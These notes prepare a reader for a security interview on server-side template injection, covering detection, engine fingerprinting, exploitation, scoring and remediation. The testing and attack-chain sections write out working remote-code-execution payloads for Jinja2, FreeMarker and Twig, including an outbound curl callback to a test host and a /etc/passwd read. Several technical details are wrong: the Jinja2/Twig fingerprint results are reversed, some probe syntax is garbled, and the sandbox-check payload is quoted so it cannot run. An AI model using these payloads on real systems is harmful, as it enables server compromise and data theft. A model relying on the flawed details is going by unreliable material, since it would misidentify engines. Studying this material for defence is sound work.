

Server-Side Template Injection (SSTI) — Interview Prep Notes

1. Logical Description

- User input concatenated/embedded directly into template string → template engine renders it as **template syntax**, not plain data
- Root cause: **input reaches template render sink before/without sanitization**, treated as code not string
- Template engines (Jinja2, Twig, FreeMarker, Velocity, Smarty, Handlebars, EJS) support expression evaluation → syntax abuse → RCE
- Distinct from XSS: XSS = client-side HTML/JS context; SSTI = **server-side**, template engine context, often escalates to RCE

2. OWASP / CWE

- OWASP Top 10 2021: **A03:2021 – Injection**
- CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine
- CWE-94: Improper Control of Generation of Code ('Code Injection') — when SSTI → RCE
- CWE-95: Eval Injection (related, when template = eval-like)

3. Common Variants

- **Basic/Reflected SSTI** – payload reflected in response
- **Blind SSTI** – no reflection, confirmed via OOB (DNS/HTTP)
- **Sandboxed SSTI** – engine has sandbox (Jinja2 sandboxed env), requires sandbox escape
- By engine (syntax differs):
 - Jinja2/Flask (Python) — `{{ }}`
 - Twig (PHP/Symfony) — `{{ }}`
 - FreeMarker (Java) — `${ }`
 - Velocity (Java) — `#set`, `$`
 - Smarty (PHP) — `{php}` / `{$var}`
 - Handlebars/EJS (Node.js) — `${ }`, `<%= %>`
 - Thymeleaf (Java/Spring) — SpEL `${ }`
- Context: **Plaintext-context SSTI** vs **Code-context SSTI** (input inside existing template logic block)

4. Attack Surface / Entry Points

- User-controlled fields rendered via template: name, email, comments, feedback forms
- Custom error pages / templates using user input (404 msg, "Hello {name}")
- Email/PDF/report generation modules (invoice templates, notification templates)
- CMS theme/template editors (admin panel, if templates user-editable)
- URL params, headers (User-Agent, Referer) reflected into rendered pages
- File upload → filename/content rendered in template
- Multi-tenant SaaS: tenant-customizable templates (widgets, dashboards)
- API responses generating documents (PDF/HTML) from templates with JSON input

5. Technical Testing Workflow

Step 1 — Detect injection point (polyglot probe)

- Verify: does input alter output beyond simple reflection (math evaluated)?
- Manual: inject polyglot `{{<%'>}}%` or `{{7*7}}`, `$(7*7)`, `#7*7`, `*7*7` → look for `49`
- Burp: Repeater, send polyglot in all params/headers; Intruder for mass param fuzzing
- ZAP: Fuzzer with SSTI payload list (community list / OWASP)
- Nuclei: existing templates (`ssti-detection`, engine-specific) — good for known reflection patterns
- Payloads: `{{7*7}}` (Jinja2/Twig), `$(7*7)` (FreeMarker/EL), `#7*7` (Ruby ERB/JSF), `*7*7` (Thymeleaf) — differentiate engine by which syntax evaluates

Step 2 — Engine fingerprinting

- Verify: identify exact engine + language to craft RCE payload
- Manual: differential polyglot response (James Kettle's decision tree: `{{7*'7'}}` → `49` = Jinja2, `777777` = Twig/Python str repeat behavior)
- Burp: Repeater to iterate decision tree systematically
- ZAP: manual script/fuzzer, no native decision-tree automation
- Nuclei: engine-specific fingerprint templates if available
- Payloads: `{{7*'7'}}`, `$(7*7)`, error-based (force engine error message reveals engine name/stack trace)

Step 3 — Sandbox check

- Verify: is engine sandboxed (Jinja2 SandboxedEnvironment)?
- Manual: attempt `__class__`, `__mro__`, `__subclasses__()` chain access
- Burp: Repeater, iterative payload chaining
- ZAP: manual
- Nuclei: N/A (needs interactive testing)
- Payload (Jinja2): `{{ '.__class__.__mro__[1].__subclasses__()' }}`

Step 4 — Blind SSTI confirmation (OOB)

- Verify: no reflection but injection processed server-side
- Manual: trigger DNS/HTTP callback via SSRF-like payload inside template expression
- Burp: Collaborator — payload issuing HTTP req to Collaborator domain
- ZAP: OAST via ZAP's own callback or manual interactsh integration
- Nuclei: OOB-enabled templates support interactsh natively — good fit
- Payload (Jinja2):

```
{{ request.application.__globals__.__builtins__.__import__('os').popen('curl http://COLLAB_ID.oastify.com').read() }}
```

Step 5 — RCE escalation

- Verify: full code execution achievable
- Manual: craft engine-specific RCE chain (subprocess/os module access)
- Burp: Repeater to finalize payload, verify via time-delay/OOB
- ZAP: manual verification
- Nuclei: custom template needed (write YAML with engine-specific RCE payload + OOB matcher)
- Payload (Jinja2):

```
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
```
- Payload (FreeMarker):

```
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
```
- Payload (Twig legacy):

```
{{ ['id']|filter('system') }}
```

 or

```
{{ _self.env.registerUndefinedFilterCallback("exec") }}{{ _self.env.getFilter("id") }}
```

6. Evidence to Collect

- Request/response pair showing math evaluation (`{{7*7}}` → `49`)
- Engine fingerprint result (decision tree output)
- OOB interaction log (Collaborator/interactsh hit with timestamp, source IP)
- Command execution output (`id` , `whoami` , `hostname`) reflected or exfiltrated
- Screenshot/burp history of full request chain
- Server response headers/error stack trace confirming engine+version

7. Good PoC

- Full HTTP request with SSTI payload highlighted
- Step-by-step: (1) benign math eval proof → (2) engine identified → (3) OOB callback proof → (4) RCE via `id` / `whoami` output captured
- Business impact statement: "achieved remote code execution on server hosting production app"
- Non-destructive: read-only commands only (`id` , `whoami` , `pwd`), no destructive writes
- Include Collaborator/interactsh interaction log as independent proof (server-side execution beyond doubt)

8. Attack Chains

- SSTI → RCE → full server compromise → lateral movement
- SSTI → local file read (`self.__init__.__globals__.__builtins__.open('/etc/passwd').read()`) → credential/secret harvesting
- SSTI → SSRF (internal network pivot via OOB payload) → cloud metadata access (IMDS)
- SSTI → RCE → reverse shell → privilege escalation → persistence
- Chained with file upload (upload template file) → template injection via stored file

9. Common False Positives

- Math expression coincidentally reflected as literal text without evaluation (WAF/framework echoes input verbatim)
- Client-side templating (Angular/Vue `{{ }}`) misidentified as SSTI — actually **Client-Side Template Injection (CSTI)**
- Numeric input naturally producing "49" unrelated to evaluation
- Error messages containing template syntax without actual execution
- Cached/static response masking real-time evaluation behavior

10. Prerequisites for Exploitability

- User input reaches template **render/compile** function (not just string concatenation into static HTML)
- Template engine in use is expression-capable (not pure logic-less like Mustache — though even Mustache misuse can leak)
- No sandboxing, or sandbox escapable
- Insufficient input validation/context-aware escaping before render call
- Attacker can control at least part of template string or data passed into `render_template_string` - like API (vs safe `render_template(file, data)`)

11. Attacker Achieves

- Remote Code Execution (RCE) on server
- Arbitrary file read/write on server filesystem
- Environment variable / secrets disclosure
- Internal network access (SSRF pivot)
- Full server compromise → lateral movement, persistence
- Denial of Service (infinite loop/resource exhaustion via template)

12. CIA Impact Table

Variant	Confidentiality	Integrity	Availability	Example CVSS Vector (v3.1)
Reflected SSTI (info disclosure only)	High	None	None	AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Blind SSTI (OOB confirmed, no RCE)	Medium	Low	None	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
SSTI → RCE (unsandboxed)	High	High	High	AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Sandboxed SSTI (escape required)	High	High	High	AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

13. Typical CVSS Severity/Vector

- SSTI → RCE: **Critical**, score ~9.8–10.0
- Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`
- Scope Changed (S:C) — impacts underlying host beyond the vulnerable component
- Blind/info-disclosure-only variant: **Medium-High**, ~6.5–7.5

14. Business Impact (Financial Application)

- RCE on app server → direct pivot to core banking systems, payment gateways
- Regulatory: PCI-DSS (RCE on cardholder data environment = critical finding, mandatory reporting), GDPR (mass PII breach via file read), RBI/SEBI guidelines (India context) — reportable incident
- Financial fraud: modify transaction templates/logic, manipulate statement generation
- Reputational: server compromise disclosure in regulated industry → loss of banking license risk, customer trust
- Downstream: template engines used in statement/invoice generation → mass customer data exposure if exploited at scale

15. Identification Signals

- App uses templating for dynamic content (emails, PDFs, error pages, reports)
- Input reflected with **evaluated** mathematical/logical result, not raw string
- Server error messages revealing template engine name/stack trace
- Response time anomalies (blind SSTI via sleep-equivalent payloads)
- Unusual outbound DNS/HTTP requests correlating with input (OOB)

- Framework/stack: Flask+Jinja2, Spring+Thymeleaf/FreeMarker, Symfony+Twig — high SSTI-prone stacks

16. Root Cause (Code Level)

- Pseudocode (vulnerable):

```
template_str = "Hello " + user_input
render(template_str)    // user input becomes part of TEMPLATE, not DATA
```

- vs safe pattern:

```
render_template(template_file, name=user_input)    // input passed as DATA/context var
```

- Vulnerable schema: dynamic template string construction via `+` concatenation or f-strings before passing to render function
- Python/Flask (vulnerable):

```
return render_template_string("Hello " + name)
```

- Java/FreeMarker (vulnerable): building template body dynamically with `new Template(userInput)`
- Common anti-pattern: treating template engine as generic string formatter instead of code-execution context

17. Remediation / Secure Coding

- **Never pass user input into template compile/render-string functions** — always pass as context data
- Use **logic-less templates** (Mustache) where feasible — no expression evaluation
- Enforce **sandboxed execution environments** (Jinja2 `SandboxedEnvironment`, restrict `__builtins__`)
- Strict allowlist input validation for any field that must go into templates
- Separate **template files from user data** completely — no dynamic template string construction
- Principle: **Data vs Code separation** — same principle as SQLi (parameterization equivalent for templates)
- Least privilege: template render process runs with minimal filesystem/OS permissions (defense-in-depth for RCE impact)

18. Compensating Controls

- WAF rules blocking known SSTI payload patterns (`{{`, `${`, `#{{`, `*{{`, `<%`)
- Sandboxed template environment as interim mitigation
- Network egress filtering (block outbound to prevent OOB/reverse shell even if RCE achieved)
- Run template rendering process in isolated container/sandboxed runtime (no OS command access)
- Rate limiting + anomaly detection on template-rendering endpoints
- Disable dangerous built-ins/modules at engine config level (Jinja2 `finalize`, remove `os` / `subproc` `ess` access)

19. Repeated Occurrence Indicates

- Devs unaware of template engine's code-execution nature — treating it as string formatter
- No secure coding training/guidelines on templating engines specifically
- Missing SAST rules for template render sinks
- Inconsistent use of safe vs unsafe render APIs across codebase (`render_template` vs `render_template_string`)
- Templating used ad-hoc across teams (email, PDF, reporting) without centralized safe wrapper — same systemic pattern as IDOR in your findings history

20. Upstream Improvements

- **SAST rules** (Semgrep taint-mode): flag `render_template_string`, dynamic `Template()` construction, string concat into render sinks
- CodeQL dataflow query: source = user input (request params) → sink = template render function
- Linters: flag string concatenation/f-strings feeding into template APIs
- Framework-level: enforce sandboxed environment by default in shared wrapper library (same strategy as your IDOR shared-library approach)
- Design checklist: "templates must never be dynamically constructed from user input" as SDLC gate
- Dependency scanning: flag outdated template engine versions with known sandbox-escape CVEs

21. Sample Triage Response

"Confirmed SSTI in [endpoint/param] — engine identified as [Jinja2/FreeMarker/etc] via decision-tree fingerprinting. Achieved RCE, verified via OOB callback to Collaborator with command output `[id/whoami]` returned. Severity: Critical (CVSS 9.8, AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). Recommend immediate patch — sanitize/remove user input from template render sink, engage IR if production RCE confirmed active exploitation."

22. Sample Developer Remediation Note

"Root cause: `[endpoint]` builds template string via concatenation with `[param]` before calling `render_template_string()`. This allows template syntax injection → RCE. Fix: switch to `render_template()` with input passed as context variable (data, not template code), e.g. `render_template('page.html', name=user_input)`. Do not reconstruct template strings dynamically. Additionally enable `SandboxedEnvironment` as defense-in-depth. Retest: confirm `{{7*7}}` reflects literally (not `49`) post-fix."

23. Real-World CVE / Incident

- **CVE-2019-8341** — Cacti SSTI (Twig) leading to RCE
- **CVE-2020-9438** — Apache OFBiz SSTI/Freemarker RCE
- **Uber bug bounty (HackerOne, public writeup)** — Flask Jinja2 SSTI in internal tool → RCE, disclosed via James Kettle's SSTI research (PortSwigger, 2015) which established the engine-fingerprinting decision tree still used today
- **CVE-2021-44228 (Log4Shell)** — not classic SSTI but same "expression-language injection" family (JNDI lookup in log message) — often cited alongside SSTI in interviews for "expression language injection" class comparison